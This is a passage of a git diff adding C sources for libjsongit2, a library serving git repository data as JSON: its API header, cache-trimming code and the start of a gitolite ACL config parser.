to unsigned long to take 0 or\n+\t\t\t\t length of http data if known */\n+\tchar *etag; /**\u003c pointer to char buffer to take Etag token part */\n+\tsize_t etag_length; /**\u003c length of etag char buffer */\n+\tconst char *client_etag; /** NULL, or etag the client offered */\n+\tconst char *authorized; /**\u003c NULL or gitolite name for ACL use */\n+\tconst char *accept_language; /**\u003c client's accept-language hdr if any */\n+\tvoid *user; /**\u003c opaque user pointer to attach to ctx */\n+};\n+\n+/**\n+ * jg2_library_init() - \u0022vhost\u0022 library init\n+ *\n+ * \u005cparam config: config struct\n+ *\n+ * Returns the allocated jg2 \u0022vhost\u0022 pointer, or NULL if failed.\n+ *\n+ * The user code must call this at least once and pass the returned pointer\n+ * when creating the contexts. This call serves two purposes... first to\n+ * hide the required call to init git2 library, and second to hold sticky,\n+ * pooled data like the repo current refs and email md5 cache that contexts\n+ * can share.\n+ *\n+ * It's OK to call this more than once, for example once per web server vhost\n+ * that will be using this api. But it must be called at least once.\n+ */\n+JG2_VISIBLE struct jg2_vhost *\n+jg2_vhost_create(const struct jg2_vhost_config *config);\n+\n+/**\n+ * jg2_library_deinit() - \u0022vhost\u0022 deinit\n+ *\n+ * \u005cparam vhost: pointer to the vhost struct to be deallocated\n+ *\n+ * This must be called once before the process exits on every vhost pointer\n+ * allocated via jg2_vhost_create().\n+ */\n+JG2_VISIBLE void\n+jg2_vhost_destroy(struct jg2_vhost *vhost);\n+\n+/**\n+ * jg2_ctx_create() - create a jg2 connection context\n+ *\n+ * \u005cparam vhost: pointer to vhost library init struct context will bind to\n+ * \u005cparam ctx: pointer to the pointer that will be allocated\n+ * \u005cparam args: arguments that should be set on entry\n+ *\n+ * This creates the context for an individual connection with a urlpath. It\n+ * doesn't produce output itself, it \u0022sets up the connection\u0022. Many connection\n+ * contexts can be ongoing simultaneously.\n+ *\n+ * Returns 0 if the context was allocated, or nonzero if it wasn't allocated\n+ * due to a problem.\n+ */\n+\n+#define JG2_CTX_CREATE_ACL_DENIED 3\n+#define JG2_CTX_CREATE_OOM 2\n+#define JG2_CTX_CREATE_REPO_OPEN_FAIL 1\n+\n+JG2_VISIBLE int\n+jg2_ctx_create(struct jg2_vhost *vhost, struct jg2_ctx **ctx,\n+\t const struct jg2_ctx_create_args *args);\n+\n+/**\n+ * jg2_ctx_destroy() - destroy a jg2 context\n+ *\n+ * \u005cparam ctx: pointer to the pointer that will be allocated\n+ *\n+ * Deallocates anything in the context. This should be called when the\n+ * connection the context is representing is closed.\n+ */\n+JG2_VISIBLE int\n+jg2_ctx_destroy(struct jg2_ctx *ctx);\n+\n+/**\n+ * jg2_ctx_fill() - fill a buffer with content\n+ *\n+ * \u005cparam ctx: pointer to the context\n+ * \u005cparam buf: buffer to write content into\n+ * \u005cparam len: length of buf that may be used\n+ * \u005cparam used: pointer to size_t filled with count of bytes in buf used\n+ *\n+ * This generates the \u0022next buffer load\u0022 of output from the connection context.\n+ * Work and anything using memory is deferred until it is actually needed, for\n+ * example trees are walked incrementally and blobs opened one at a time only\n+ * when needed for output and closed before moving on.\n+ *\n+ * If the work is bigger than one buffer it returns when the buffer is full\n+ * and resumes with a new buffer next call to jg2_ctx_fill().\n+ *\n+ * Returns \u003c 0 on error, or the amount of buffer bytes written\n+ */\n+JG2_VISIBLE int\n+jg2_ctx_fill(struct jg2_ctx *ctx, char *buf, size_t len, size_t *used);\n+\n+#endif /* __LIB_JSON_GIT2_H__b1c6cef9e87b714318802950c4e08a15ffaa6559 */\ndiff --git a/lib/README.md b/lib/README.md\nnew file mode 100644\nindex 0000000..8dbf649\n--- /dev/null\n+++ b/lib/README.md\n@@ -0,0 +1,8 @@\n+## libjsongit2 library sources\n+\n+Dir|Function\n+---|---\n+conf|Sources related to parsing configuration from git config or gitolite\n+email|Sources related to md5 and email avatar handling\n+job|Sources related to generating JSON for different types of URL\n+lac|Linear Alloc Chunk helpers\ndiff --git a/lib/cache.c b/lib/cache.c\nnew file mode 100644\nindex 0000000..e0c42f5\n--- /dev/null\n+++ b/lib/cache.c\n@@ -0,0 +1,419 @@\n+/*\n+ * libjsongit2 - cache trimming\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022private.h\u0022\n+\n+#include \u003cstring.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cunistd.h\u003e\n+#include \u003cfcntl.h\u003e\n+#include \u003cdirent.h\u003e\n+#include \u003ctime.h\u003e\n+#include \u003cerrno.h\u003e\n+\n+#include \u003csys/stat.h\u003e\n+#include \u003csys/time.h\u003e\n+#include \u003csys/types.h\u003e\n+\n+#define lp_to_fe(p, _n) list_ptr_container(p, struct file_entry, _n)\n+\n+static const char *hex \u003d \u00220123456789abcdef\u0022;\n+\n+#define BATCH_COUNT 128\n+\n+static int\n+fe_modified_sort(list_ptr a, list_ptr b)\n+{\n+\tstruct file_entry *p1 \u003d lp_to_fe(a, sorted), *p2 \u003d lp_to_fe(b, sorted);\n+\n+\treturn p2-\u003emodified - p1-\u003emodified;\n+}\n+\n+/* requires vhost lock: sets ctx-\u003efd_cache and ctx-\u003ecache */\n+\n+int\n+__jg2_cache_query(struct jg2_ctx *ctx, const char *md5_hex, int *_fd,\n+\t\t char *cache, int cache_len)\n+{\n+\tstruct stat s;\n+\tint n;\n+\n+\t/* caching is disabled? */\n+\tif (!ctx-\u003evhost-\u003ecfg.json_cache_base)\n+\t\treturn JG2_CACHE_QUERY_NO_CACHE;\n+\n+\tif (!(ctx-\u003eflags \u0026 JG2_CTX_FLAG_BOT))\n+\t\tctx-\u003evhost-\u003ecache_tries++;\n+\n+\tn \u003d lws_snprintf(cache, cache_len, \u0022%s/%c/%c/%s\u0022,\n+\t\t\t ctx-\u003evhost-\u003ecfg.json_cache_base,\n+\t\t\t md5_hex[0], md5_hex[1], md5_hex);\n+\n+\t//lwsl_notice(\u0022%s: job cache %s\u005cn\u0022, __func__, ctx-\u003ecache);\n+\n+\t*_fd \u003d open(cache, O_RDONLY);\n+\tif (*_fd \u003e\u003d 0) {\n+\t\tint fd;\n+\n+\t\tif (!(ctx-\u003eflags \u0026 JG2_CTX_FLAG_BOT))\n+\t\t\tctx-\u003evhost-\u003ecache_hits++;\n+\n+\t\tif (fstat(*_fd, \u0026s)) {\n+\t\t\tclose(*_fd);\n+\n+\t\t\treturn JG2_CACHE_QUERY_NO_CACHE;\n+\t\t}\n+\n+\t\tctx-\u003eexisting_cache_pos \u003d 0;\n+\t\tctx-\u003eexisting_cache_size \u003d (size_t)s.st_size;\n+\n+\t\t/* \u0022touch\u0022 the hit cache file so it's last for LRU now */\n+\t\tfd \u003d open(cache, O_RDWR);\n+\t\tif (fd \u003e\u003d 0)\n+\t\t\tclose(fd);\n+\n+\n+\t\treturn JG2_CACHE_QUERY_EXISTS;\n+\t}\n+\n+\t/* bots are too random to pollute the cache with their antics */\n+\tif (ctx-\u003eflags \u0026 JG2_CTX_FLAG_BOT)\n+\t\treturn JG2_CACHE_QUERY_NO_CACHE;\n+\n+\t/* let's create it first with a unique temp name */\n+\n+\tlws_snprintf(cache + n, cache_len - n, \u0022~%d-%p\u0022, (int)getpid(), ctx);\n+\n+\t*_fd \u003d open(cache, O_RDWR | O_CREAT | O_TRUNC, 0600);\n+\tif (*_fd \u003c 0) {\n+\t\t/* well... ok... we will proceed without cache then... */\n+\t\tlwsl_notice(\u0022%s: Problem creating cache %s: errno %d\u005cn\u0022,\n+\t\t\t __func__, cache, errno);\n+\t\treturn JG2_CACHE_QUERY_NO_CACHE;\n+\t}\n+\n+\treturn JG2_CACHE_QUERY_CREATING;\n+}\n+\n+/*\n+ * The goal is to collect the oldest BATCH_COUNT filepaths and filesizes from\n+ * the dirs under the cache dir. Since we don't need or want a full list of\n+ * files in there in memory at once, we restrict the linked-list size to\n+ * BATCH_COUNT entries, and once it is full, simply ignore any further files\n+ * that are newer than the newest one on that list. Files older than the\n+ * newest guy already on the list evict the newest guy already on the list\n+ * and are sorted into the correct order. In this way no matter the number\n+ * of files to be processed the memory requirement is fixed at BATCH_COUNT\n+ * struct file_entry-s.\n+ *\n+ * The oldest subset of BATCH_COUNT files are sorted into the cd-\u003ebatch\n+ * allocation in more recent -\u003e least recent order.\n+ *\n+ * We want to track the total size of all files we saw as well, so we know if\n+ * we need to actually do anything yet to restrict how much space it's taking\n+ * up.\n+ *\n+ * And we want to do those things statefully and incrementally instead of one\n+ * big atomic operation, since the user may want a huge cache, so we look in\n+ * one cache dir at a time and track state in the repodir struct.\n+ *\n+ * When we have seen everything, we add the doubly-linked prev pointers and then\n+ * if we are over the limit, start deleting up to BATCH_COUNT files working back\n+ * from the end.\n+ */\n+\n+int\n+jg2_cache_trim(struct jg2_repodir *cd)\n+{\n+\tsize_t cache_size_limit \u003d cd-\u003ecache_size_limit;\n+\tchar dirpath[132], filepath[132 + 32];\n+\tlist_ptr lp, op \u003d NULL;\n+\tint files_trimmed \u003d 0;\n+\tstruct file_entry *p;\n+\tint fd, n, ret \u003d -1;\n+\tsize_t trimmed \u003d 0;\n+\tstruct dirent *de;\n+\tstruct stat s;\n+\tDIR *dir;\n+\n+\tif (!cd-\u003ecache_subdir) {\n+\n+\t\tif (cd-\u003elast_scan_completed + cd-\u003esecs_waiting \u003e time(NULL))\n+\t\t\treturn 0;\n+\n+\t\tcd-\u003ebatch \u003d malloc(sizeof(struct file_entry) * BATCH_COUNT);\n+\t\tif (!cd-\u003ebatch) {\n+\t\t\tlwsl_err(\u0022%s: OOM\u005cn\u0022, __func__);\n+\n+\t\t\treturn 1;\n+\t\t}\n+\t\tcd-\u003eagg_size \u003d 0;\n+\t\tcd-\u003ehead \u003d NULL;\n+\t\tcd-\u003ebatch_in_use \u003d 0;\n+\t\tcd-\u003eagg_file_count \u003d 0;\n+\t}\n+\n+\tlws_snprintf(dirpath, sizeof(dirpath), \u0022%s/%c/%c\u0022,\n+\t\t cd-\u003erepo_base_dir, hex[(cd-\u003ecache_subdir \u003e\u003e 4) \u0026 15],\n+\t\t hex[cd-\u003ecache_subdir \u0026 15]);\n+\n+\tdir \u003d opendir(dirpath);\n+\tif (!dir) {\n+\t\tlwsl_err(\u0022Unable to walk repo dir '%s'\u005cn\u0022,\n+\t\t\t cd-\u003erepo_base_dir);\n+\t\treturn -1;\n+\t}\n+\n+\tdo {\n+\t\tde \u003d readdir(dir);\n+\t\tif (!de)\n+\t\t\tbreak;\n+\n+\t\tif (de-\u003ed_type !\u003d DT_REG)\n+\t\t\tcontinue;\n+\n+\t\tcd-\u003eagg_file_count++;\n+\n+\t\tlws_snprintf(filepath, sizeof(filepath), \u0022%s/%s\u0022, dirpath,\n+\t\t\t de-\u003ed_name);\n+\n+\t\tfd \u003d open(filepath, O_RDONLY);\n+\t\tif (fd \u003c 0) {\n+\t\t\tlwsl_err(\u0022%s: cannot open %s\u005cn\u0022, __func__, filepath);\n+\n+\t\t\tcontinue;\n+\t\t}\n+\n+\t\tn \u003d fstat(fd, \u0026s);\n+\t\tclose(fd);\n+\t\tif (n) {\n+\t\t\tlwsl_notice(\u0022%s: cannot stat %s\u005cn\u0022, __func__, filepath);\n+\t\t\tcontinue;\n+\t\t}\n+\n+\t\tcd-\u003eagg_size +\u003d s.st_size;\n+\n+\t\tif (cd-\u003ebatch_in_use \u003d\u003d BATCH_COUNT) {\n+\t\t\t/*\n+\t\t\t * once we filled up the batch with candidates, we don't\n+\t\t\t * need to consider any files newer than the newest guy\n+\t\t\t * on the list...\n+\t\t\t */\n+\t\t\tif (lp_to_fe(cd-\u003ehead, sorted)-\u003emodified \u003c s.st_mtime)\n+\t\t\t\tcontinue;\n+\n+\t\t\t/*\n+\t\t\t * ... and if we find an older file later, we know it\n+\t\t\t * will be replacing the newest guy on the list, so use\n+\t\t\t * that directly...\n+\t\t\t */\n+\t\t\tp \u003d cd-\u003ehead;\n+\t\t\tcd-\u003ehead \u003d p-\u003esorted;\n+\t\t} else\n+\t\t\t/* we are still accepting anything to fill the batch */\n+\n+\t\t\tp \u003d \u0026cd-\u003ebatch[cd-\u003ebatch_in_use++];\n+\n+\t\tp-\u003esorted \u003d NULL;\n+\t\tstrncpy(p-\u003ename, de-\u003ed_name, sizeof(p-\u003ename) - 1);\n+\t\tp-\u003ename[sizeof(p-\u003ename) - 1] \u003d '\u005c0';\n+\t\tp-\u003emodified \u003d s.st_mtime;\n+\t\tp-\u003esize \u003d s.st_size;\n+\n+\t\tlist_ptr_insert(\u0026cd-\u003ehead, \u0026p-\u003esorted, fe_modified_sort);\n+\t} while (de);\n+\n+\tret \u003d 0;\n+\n+\tcd-\u003ecache_subdir++;\n+\tif (cd-\u003ecache_subdir !\u003d 0x100)\n+\t\tgoto done;\n+\n+\t/* we completed the whole scan... */\n+\n+\t/* if really no guidence, then 256MiB */\n+\tif (!cache_size_limit)\n+\t\tcache_size_limit \u003d 256 * 1024 * 1024;\n+\n+\tif (cd-\u003eagg_size \u003e cache_size_limit) {\n+\n+\t\t/* apply prev pointers to make the list doubly-linked */\n+\n+\t\tlp \u003d cd-\u003ehead;\n+\t\twhile (lp) {\n+\t\t\tp \u003d lp_to_fe(lp, sorted);\n+\n+\t\t\tp-\u003eprev \u003d op;\n+\t\t\top \u003d \u0026p-\u003eprev;\n+\t\t\tlp \u003d p-\u003esorted;\n+\t\t}\n+\n+\t\t/*\n+\t\t * reverse the list (start from tail, now traverse using\n+\t\t * .prev)... it's oldest-first now...\n+\t\t */\n+\n+\t\tlp \u003d op;\n+\n+\t\twhile (lp \u0026\u0026 cd-\u003eagg_size \u003e cache_size_limit) {\n+\t\t\tp \u003d lp_to_fe(lp, prev);\n+\n+\t\t\tlws_snprintf(filepath, sizeof(filepath), \u0022%s/%c/%c/%s\u0022,\n+\t\t\t\t cd-\u003erepo_base_dir, p-\u003ename[0], p-\u003ename[1],\n+\t\t\t\t p-\u003ename);\n+\n+\t\t\tif (!unlink(filepath)) {\n+\t\t\t\tcd-\u003eagg_size -\u003d p-\u003esize;\n+\t\t\t\ttrimmed +\u003d p-\u003esize;\n+\t\t\t\tfiles_trimmed++;\n+\t\t\t} else\n+\t\t\t\tlwsl_notice(\u0022%s: Failed to unlink %s\u005cn\u0022,\n+\t\t\t\t\t __func__, filepath);\n+\n+\t\t\tlp \u003d p-\u003eprev;\n+\t\t}\n+\n+\t\tif (files_trimmed)\n+\t\t\tlwsl_notice(\u0022%s: %s: trimmed %d files totalling \u0022\n+\t\t\t\t \u0022%lldKib, leaving %lldMiB\u005cn\u0022, __func__,\n+\t\t\t\t cd-\u003erepo_base_dir, files_trimmed,\n+\t\t\t\t ((unsigned long long)trimmed) / KIB,\n+\t\t\t\t ((unsigned long long)cd-\u003eagg_size) / MIB);\n+\t}\n+\n+\tif (cd-\u003eagg_size \u0026\u0026 cd-\u003eagg_file_count)\n+\t\tcd-\u003eavg_size \u003d cd-\u003eagg_size / cd-\u003eagg_file_count;\n+\n+\t/*\n+\t * estimate how long we can go before scanning again... default we need\n+\t * to start again immediately\n+\t */\n+\n+\tcd-\u003elast_scan_completed \u003d time(NULL);\n+\tcd-\u003esecs_waiting \u003d 1;\n+\n+\tif (cd-\u003eagg_size \u003c cache_size_limit) {\n+\t\tuint64_t avg \u003d 4096, capacity, projected;\n+\n+\t\t/* let's use 80% of the real average for margin */\n+\t\tif (cd-\u003eagg_size \u0026\u0026 cd-\u003eagg_file_count)\n+\t\t\tavg \u003d ((cd-\u003eagg_size * 8) / cd-\u003eagg_file_count) / 10;\n+\n+\t\t/*\n+\t\t * if we collected BATCH_COUNT files of the average size,\n+\t\t * how much can we clean up in 256s?\n+\t\t */\n+\n+\t\tcapacity \u003d avg * BATCH_COUNT;\n+\n+\t\t/*\n+\t\t * if the cache grew by 10%, would we hit the limit even then?\n+\t\t */\n+\t\tprojected \u003d (cd-\u003eagg_size * 11) / 10;\n+\t\tif (projected \u003c cache_size_limit)\n+\t\t\t/* no... */\n+\t\t\tcd-\u003esecs_waiting \u003d (256 / 2) * ((cache_size_limit -\n+\t\t\t\t\t\t projected) / capacity);\n+\n+\t\t/*\n+\t\t * large waits imply we may not have enough info yet, so\n+\t\t * check once an hour at least.\n+\t\t */\n+\n+\t\tif (cd-\u003esecs_waiting \u003e 3600)\n+\t\t\tcd-\u003esecs_waiting \u003d 3600;\n+\t} else\n+\t\tcd-\u003esecs_waiting \u003d 0;\n+\n+\tlwsl_notice(\u0022%s: cache %s: %lldKiB / %lldKiB, next scan %ds\u005cn\u0022,\n+\t\t __func__, cd-\u003erepo_base_dir,\n+\t\t (unsigned long long)cd-\u003eagg_size / KIB,\n+\t\t (unsigned long long)cache_size_limit / KIB,\n+\t\t cd-\u003esecs_waiting);\n+\n+\tfree(cd-\u003ebatch);\n+\tcd-\u003ebatch \u003d NULL;\n+\n+\tcd-\u003ecache_subdir \u003d 0;\n+\n+done:\n+\tclosedir(dir);\n+\n+\treturn ret;\n+}\n+\n+/*\n+ * Check every base cache dir incrementally so it completes over 256s, one dir\n+ * for each base cache dir per second.\n+ *\n+ * The first time we see a cache dir though, do it all at once immediately.\n+ */\n+\n+void *\n+cache_trim_thread(void *d)\n+{\n+\tstruct jg2_global *jg2_global \u003d (struct jg2_global *)d;\n+\tstruct jg2_vhost *vh;\n+\n+\tsleep(2); /* wait for other vhosts that might set size limit */\n+\n+\tjg2_safe_libgit2_init();\n+\n+\twhile (jg2_global-\u003ecount_cachedirs) {\n+\t\tstruct jg2_repodir *rd \u003d jg2_global-\u003ecachedir_head;\n+\n+\t\twhile (rd) {\n+\t\t\tint n, around \u003d 1;\n+\n+\t\t\tif (!rd-\u003esubsequent)\n+\t\t\t\taround \u003d 256;\n+\t\t\telse\n+\t\t\t\t/* are we over the limit? Let's speed up */\n+\t\t\t\tif (!rd-\u003esecs_waiting \u0026\u0026 rd-\u003ebatch)\n+\t\t\t\t\taround \u003d 8;\n+\n+\t\t\tfor (n \u003d 0; n \u003c around; n++)\n+\t\t\t\tjg2_cache_trim(rd);\n+\n+\t\t\trd-\u003esubsequent \u003d 1;\n+\n+\t\t\trd \u003d rd-\u003enext;\n+\t\t}\n+\n+\t\tsleep(1);\n+\n+\t\tpthread_mutex_lock(\u0026jg2_global-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d global lock */\n+\n+\t\tvh \u003d jg2_global-\u003evhost_head;\n+\t\twhile (vh) {\n+\t\t\tjg2_vhost_repo_reflist_update(vh);\n+\t\t\tvh \u003d vh-\u003evhost_list;\n+\t\t}\n+\n+\t\tpthread_mutex_unlock(\u0026jg2_global-\u003elock); /* --- global unlock */\n+\t}\n+\n+\tjg2_safe_libgit2_deinit();\n+\n+\tpthread_exit(NULL);\n+\n+\treturn NULL;\n+}\ndiff --git a/lib/conf/gitolite.c b/lib/conf/gitolite.c\nnew file mode 100644\nindex 0000000..049e8c8\n--- /dev/null\n+++ b/lib/conf/gitolite.c\n@@ -0,0 +1,737 @@\n+/*\n+ * libjsongit2 - gitolite config parsing\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+#include \u003cstring.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cunistd.h\u003e\n+#include \u003cfcntl.h\u003e\n+\n+#define lp_to_acl(p, _n) list_ptr_container(p, struct acl, _n)\n+\n+typedef enum {\n+\tGCS_IDLE,\n+\n+\tGCS_MACRODEF_NAME,\t/* @ got us here */\n+\tGCS_MACRODEF_WS,\t/* ws before \u003d */\n+\tGCS_MACRODEF_WS1,\t/* ws after \u003d */\n+\tGCS_MACRODEF_VALUE,\t/* macro definition value */\n+\n+\tGCS_REPO,\t\t/* r ... started collecting \u0022repo\u0022 */\n+\tGCS_REPO_WS1,\t\t/* ws before \u003d */\n+\tGCS_REPO_REPODEF,\t/* matching repo definition */\n+\n+\tGCS_ACL_WS_PRE,\t\t/* ws before repo acl */\n+\tGCS_ACL_FLAGS,\t\t/* access flags, - or R/W/+ */\n+\tGCS_ACL_WS1,\t\t/* ws before \u003d or optional refspec */\n+\tGCS_ACL_REFSPEC,\t/* refspec */\n+\tGCS_ACL_WS2,\t\t/* ws after refspec */\n+\tGCS_ACL_WS3,\t\t/* ws after \u003d */\n+\tGCS_ACL_USERS,\t\t/* user list */\n+\tGCS_ACL_IGNORE,\t\t/* ignore rest of acl line (not READ) */\n+\n+\tGCS_INCLUDE,\t\t/* i ... started collecting \u0022include\u0022 */\n+\tGCS_INCLUDE_WS1,\n+\tGCS_INCLUDE_PATH,\n+\n+\tGCS_CONFIG,\t\t/* c... started collecting \u0022config\u0022 */\n+\n+\tGCS_CONFIG_IGNORE,\n+\n+} gitolite_conf_state;\n+\n+struct gitolite_conf {\n+\tgitolite_conf_state state;\n+\tchar macro_value[1024];\n+\tchar macro_name[32];\n+\n+\tgit_repository *repo;\n+\tgit_generic_ptr u;\n+\tgit_tree *tree;\n+\tconst char *p, *end;\n+\n+\tsize_t pos, name_len;\n+\tint line;\n+\tchar seen_read;\n+\tchar comment;\n+\tchar last;\n+};\n+\n+static int\n+__parser_init(struct gitolite_conf *gp, struct jg2_vhost *vh,\n+\t\t git_repository *repo, git_tree *tree, jg2_md5_context md5_ctx,\n+\t\t const char *in_repo_filepath);\n+\n+/*\n+ * This supports the following gitolite config syntax elements:\n+ *\n+ * - @macros : yes\n+ *\n+ * - repo @macros : yes\n+ *\n+ * - RW+ : yes\n+ *\n+ * - include : yes\n+ *\n+ * - config : ignored: we don't need to parse them, since the\n+ *\t\t\tcorresponding changes made by gitolite are picked up\n+ *\t\t\tfrom the repo config and used... for\n+ *\t\t\tgitweb.[description|owner|url]\n+ *\n+ * - refex : ignored (only supports repo-level ACLs)\n+ *\n+ * - repo regex : matched as literal (ie, ignored)\n+ *\n+ * - Negative ACL (-): no\n+ *\n+ * - subconf : no\n+ *\n+ * Patches adding support if you need the missing things are very welcome...\n+ */\n+\n+/*\n+ * does the string 'check' match anything in the macro 'macro'?\n+ * @all will match everything always\n+ *\n+ * Requires vhost lock\n+ */\n+static int\n+__recursive_macro_check(const char *check, const char *macro, int string,\n+\t\t struct jg2_vhost *vh)\n+{\n+\tint cl \u003d strlen(check);\n+\tlist_ptr lp;\n+\tchar macro_name[32];\n+\tconst char *p;\n+\n+\tif (string) {\n+\t\tp \u003d macro;\n+\t\tgoto direct;\n+\t}\n+\n+\tlp \u003d vh-\u003eacl_macro_head;\n+\twhile (lp) {\n+\t\tstruct acl *acl \u003d lp_to_acl(lp, next);\n+\n+\t\tp \u003d (const char *)(acl + 1);\n+\n+\t\tif (strcmp(p, macro))\n+\t\t\tgoto again;\n+\n+\t\t/* this is the right macro */\n+\n+\t\tp \u003d p + acl-\u003elen1 + 1;\n+\n+direct:\n+\t\twhile (*p) {\n+\t\t\tif (!strncmp(p, check, cl) \u0026\u0026\n+\t\t\t (p[cl] \u003d\u003d ' ' || !p[cl]))\n+\t\t\t\treturn 0; /* hit */\n+\n+\t\t\tif (*p \u003d\u003d '@') {\n+\t\t\t\tsize_t n \u003d 0;\n+\t\t\t\tp++;\n+\t\t\t\twhile (*p !\u003d ' ' \u0026\u0026 !*p) {\n+\t\t\t\t\tif (n \u003e\u003d sizeof(macro_name) - 2)\n+\t\t\t\t\t\treturn 1;\n+\t\t\t\t\tmacro_name[n++] \u003d *p++;\n+\t\t\t\t}\n+\t\t\t\tmacro_name[n] \u003d '\u005c0';\n+\n+\t\t\t\tif (!strcmp(macro_name, \u0022all\u0022))\n+\t\t\t\t\treturn 0;\n+\n+\t\t\t\tif (!__recursive_macro_check(check, macro, 0,\n+\t\t\t\t\t\t\t vh))\n+\t\t\t\t\treturn 0;\n+\t\t\t}\n+\n+\t\t\tp++;\n+\t\t}\n+\n+\t\treturn 1;\n+\n+again:\n+\t\tlist_ptr_advance(lp);\n+\t}\n+\n+\treturn 1;\n+}\n+\n+/*\n+ * can \u0022user\u0022 'acl_name' read repo 'reponame'?\n+ *\n+ * requires the vhost lock\n+ */\n+\n+int\n+__repo_check_acl(struct jg2_vhost *vh, const char *reponame, const char *acl_name)\n+{\n+\tlist_ptr lp;\n+\tint ret \u003d 1;\n+\n+\tif (!acl_name)\n+\t\treturn 1; /* NULL can't match */\n+\n+\tif (!strcmp(acl_name, \u0022@all\u0022))\n+\t\treturn 0; /* just match everything */\n+\n+\t/*\n+\t * let's go through all the rules\n+\t */\n+\n+\tlp \u003d vh-\u003eacl_rule_head;\n+\twhile (lp) {\n+\t\tstruct acl *acl \u003d lp_to_acl(lp, next);\n+\t\tconst char *p \u003d (const char *)(acl + 1);\n+\n+\t\t/* reponame isn't in the items on p (including by macros?) */\n+\t\tif (!__recursive_macro_check(reponame, p, 1, vh)) {\n+\n+\t\t\t/* we got an acl rule matched on our repo name */\n+\n+\t\t\tp +\u003d acl-\u003elen1 + 1;\n+\n+\t\t\t/* acl_name is in the items on the acl rule? */\n+\t\t\tif (!__recursive_macro_check(acl_name, p, 1, vh)) {\n+\t\t\t\tret \u003d 0;\n+\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t}\n+\n+\t\tlist_ptr_advance(lp);\n+\t}\n+\n+\treturn ret;\n+}\n+\n+/*\n+ * we convert the gitolite conf into two lists of struct acls\n+ *\n+ * - vh-\u003eacl_macro_head: each is macroname, macrovalue\n+ * - vh-\u003eacl_rule_head: each is reponame matching rule, acl list\n+ *\n+ * Requires vhost lock\n+ */\n+\n+static int\n+__parse(struct gitolite_conf *gp, struct jg2_vhost *vh, jg2_md5_context md5_ctx)\n+{\n+\tstruct acl *acl;\n+\tchar *p;\n+\n+\twhile (gp-\u003ep \u003c gp-\u003eend) {\n+\n+\t\t// putchar(*gp-\u003ep);\n+\n+\t\tif (!gp-\u003ecomment \u0026\u0026 *gp-\u003ep \u003d\u003d '#')\n+\t\t\tgp-\u003ecomment \u003d 1;\n+\n+\t\tif (gp-\u003ecomment \u0026\u0026 *gp-\u003ep \u003d\u003d '\u005cn')\n+\t\t\tgp-\u003ecomment \u003d 0;\n+\n+\t\tif (gp-\u003ecomment)\n+\t\t\tgoto after;\n+\n+\t\tswitch (gp-\u003estate) {\n+\t\tcase GCS_IDLE:\n+\t\t\tgp-\u003epos \u003d 0;\n+\t\t\tif (*gp-\u003ep \u003d\u003d '@')\n+\t\t\t\tgp-\u003estate \u003d GCS_MACRODEF_NAME;\n+\t\t\tif (*gp-\u003ep \u003d\u003d 'r')\n+\t\t\t\tgp-\u003estate \u003d GCS_REPO;\n+\t\t\tif (*gp-\u003ep \u003d\u003d 'i')\n+\t\t\t\tgp-\u003estate \u003d GCS_INCLUDE;\n+\n+\t\t\tif (*gp-\u003ep \u003d\u003d 'c') {\n+\t\t\t\tgp-\u003epos \u003d 0;\n+\t\t\t\tgp-\u003estate \u003d GCS_CONFIG;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\tbreak;\n+\n+\t\tcase GCS_MACRODEF_NAME:\n+\t\t\tif (*gp-\u003ep \u003d\u003d '\u003d') {\n+\t\t\t\tgp-\u003estate \u003d GCS_MACRODEF_WS1;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t\tif (*gp-\u003ep \u003d\u003d ' ' || *gp-\u003ep \u003d\u003d '\u005ct') {\n+\t\t\t\tgp-\u003estate \u003d GCS_MACRODEF_WS;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\tif (gp-\u003epos \u003e\u003d sizeof(gp-\u003emacro_name) - 1) {\n+\t\t\t\tlwsl_err(\u0022%s: macro name too long: %s\u005cn\u0022,\n+\t\t\t\t\t __func__, gp-\u003emacro_name);\n+\t\t\t\treturn -1;\n+\t\t\t}\n+\t\t\tgp-\u003emacro_name[gp-\u003epos++] \u003d *gp-\u003ep;\n+\t\t\tgp-\u003emacro_name[gp-\u003epos] \u003d '\u005c0';\n+\t\t\tgp-\u003ename_len \u003d gp-\u003epos;\n+\t\t\tbreak;\n+\n+\t\tcase GCS_MACRODEF_WS:\n+\t\t\tif (*gp-\u003ep \u003d\u003d ' ' || *gp-\u003ep \u003d\u003d '\u005ct')\n+\t\t\t\tbreak;\n+\t\t\tif (*gp-\u003ep \u003d\u003d '\u003d') {\n+\t\t\t\tgp-\u003estate \u003d GCS_MACRODEF_WS1;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t\tgoto syntax_error;\n+\n+\t\tcase GCS_MACRODEF_WS1:\n+\t\t\tgp-\u003epos \u003d 0;\n+\t\t\tif (*gp-\u003ep \u003d\u003d ' ' || *gp-\u003ep 